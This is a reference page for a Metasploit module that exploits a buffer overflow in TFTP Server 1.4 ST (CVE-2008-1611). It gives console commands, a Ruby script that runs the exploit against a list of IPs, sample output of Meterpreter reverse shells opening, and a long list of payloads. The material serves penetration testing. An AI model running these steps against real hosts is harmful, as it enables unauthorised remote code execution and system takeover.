TFTP Server for Windows 1.4 ST WRQ Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/windows/tftp/tftpserver_wrq_bof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: TFTP Server for Windows 1.4 ST WRQ Buffer Overflow
Module: exploit/windows/tftp/tftpserver_wrq_bof
Source code: modules/exploits/windows/tftp/tftpserver_wrq_bof.rb
Disclosure date: 2008-03-26
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 69
List of CVEs: CVE-2008-1611

This module exploits a vulnerability found in TFTP Server 1.4 ST. The flaw is due to the way TFTP handles the filename parameter extracted from a WRQ request. The server will append the user-supplied filename to TFTP server binary's path without any bounds checking, and then attempt to check this path with a fopen(). Since this isn't a valid file path, fopen() returns null, which allows the corrupted data to be used in a strcmp() function, causing an access violation. Since the offset is sensitive to how the TFTP server is launched, you must know in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone' , and then manually select your target accordingly. A successful attempt will lead to remote code execution under the context of SYSTEM if run as a service, or the user if run as a standalone. A failed attempt will result a denial-of-service.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


Using tftpserver_wrq_bof against a single host

Normally, you can use exploit/windows/tftp/tftpserver_wrq_bof this way:

msf > use exploit/windows/tftp/tftpserver_wrq_bof
msf exploit(tftpserver_wrq_bof) > show targets
    ... a list of targets ...
msf exploit(tftpserver_wrq_bof) > set TARGET target-id
msf exploit(tftpserver_wrq_bof) > show options
    ... show and set options ...
msf exploit(tftpserver_wrq_bof) > exploit

Using tftpserver_wrq_bof against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your tftpserver_wrq_bof will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/tftp/tftpserver_wrq_bof")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the windows/tftp/tftpserver_wrq_bof exploit module looks in the msfconsole:

msf6 > use exploit/windows/tftp/tftpserver_wrq_bof

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/tftp/tftpserver_wrq_bof) > show info

       Name: TFTP Server for Windows 1.4 ST WRQ Buffer Overflow
     Module: exploit/windows/tftp/tftpserver_wrq_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-03-26

Provided by:
  Mati Aharoni
  Datacut

Available targets:
  Id  Name
  --  ----
  0   Windows XP SP2/SP3 EN Service Mode
  1   Windows XP SP2/SP3 EN Standalone Mode
  2   Windows 7 SP0/SP1 EN x64 Service Mode
  3   Windows 7 SP0/SP1 EN x64 Standalone Mode
  4   Windows 7 SP0/SP1 EN x86 Service Mode
  5   Windows 7 SP0/SP1 EN x86 Standalone Mode

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   69               yes       The target port (UDP)

Payload information:
  Space: 600
  Avoid: 2 characters

Description:
  This module exploits a vulnerability found in TFTP Server 1.4 ST. 
  The flaw is due to the way TFTP handles the filename parameter 
  extracted from a WRQ request. The server will append the 
  user-supplied filename to TFTP server binary's path without any 
  bounds checking, and then attempt to check this path with a fopen(). 
  Since this isn't a valid file path, fopen() returns null, which 
  allows the corrupted data to be used in a strcmp() function, causing 
  an access violation. Since the offset is sensitive to how the TFTP 
  server is launched, you must know in advance if your victim machine 
  launched the TFTP as a 'Service' or 'Standalone' , and then manually 
  select your target accordingly. A successful attempt will lead to 
  remote code execution under the context of SYSTEM if run as a 
  service, or the user if run as a standalone. A failed attempt will 
  result a denial-of-service.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2008-1611
  OSVDB (43785)
  http://www.securityfocus.com/bid/18345
  https://www.exploit-db.com/exploits/5314

Module Options


This is a complete list of options available in the windows/tftp/tftpserver_wrq_bof exploit:

msf6 exploit(windows/tftp/tftpserver_wrq_bof) > show options

Module options (exploit/windows/tftp/tftpserver_wrq_bof):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   69               yes       The target port (UDP)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  seh              yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   4   Windows 7 SP0/SP1 EN x86 Service Mode

Advanced Options


Here is a complete list of advanced options supported by the windows/tftp/tftpserver_wrq_bof exploit:

msf6 exploit(windows/tftp/tftpserver_wrq_bof) > show advanced

Module advanced options (exploit/windows/tftp/tftpserver_wrq_bof):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (windows/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadBindPort                               no        Port to bind reverse tcp socket to on target system.
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/tftp/tftpserver_wrq_bof module can exploit:

msf6 exploit(windows/tftp/tftpserver_wrq_bof) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP SP2/SP3 EN Service Mode
   1   Windows XP SP2/SP3 EN Standalone Mode
   2   Windows 7 SP0/SP1 EN x64 Service Mode
   3   Windows 7 SP0/SP1 EN x64 Standalone Mode
   4   Windows 7 SP0/SP1 EN x86 Service Mode
   5   Windows 7 SP0/SP1 EN x86 Standalone Mode

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/tftp/tftpserver_wrq_bof exploit:

msf6 exploit(windows/tftp/tftpserver_wrq_bof) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   6    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   7    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   8    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   9    payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   10   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   11   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   12   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   13   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   14   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   15   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   16   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   17   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   18   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   19   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   20   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   21   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   22   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   23   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   24   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   25   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   26   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   27   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   28   payload/windows/exec                                                         normal  No     Windows Execute Command
   29   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   30   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   31   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   32   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   33   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   34   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   35   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   36   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   37   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   38   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   39   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   40   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   41   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   42   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   43   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   44   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   45   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   46   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   47   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   48   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   49   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   50   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   51   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   52   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   53   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   54   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   55   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   56   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   57   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   58   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   59   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   60   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   61   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   62   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   63   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   64   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   65   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   66   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   67   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   68   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   69   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   70   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   71   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   72   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   73   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   74   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   75   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   76   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   77   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   78   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   79   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   80   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   81   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   82   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   83   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   84   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   85   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   86   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   87   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   88   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   89   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   90   payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   91   payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   92   payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   93   payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   94   payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   95   payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   96   payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   97   payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   98   payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   99   payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   100  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   101  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   102  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   103  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   104  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   105  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   106  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   107  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   108  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   109  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   110  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   111  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   112  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   113  payload/windows/pingback_bind_tcp                                            normal  No     Windows x86 Pingback, Bind TCP Inline
   114  payload/windows/pingback_reverse_tcp                                         normal  No     Windows x86 Pingback, Reverse TCP Inline
   115  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   116  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   117  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   118  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   119  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   120  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   121  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   122  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   123  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   124  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   125  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   126  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   127  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   128  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   129  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   130  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   131  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   132  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   133  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   134  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   135  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   136  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   137  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   138  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   139  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   140  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   141  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   142  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   143  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   144  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   145  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   146  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   147  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
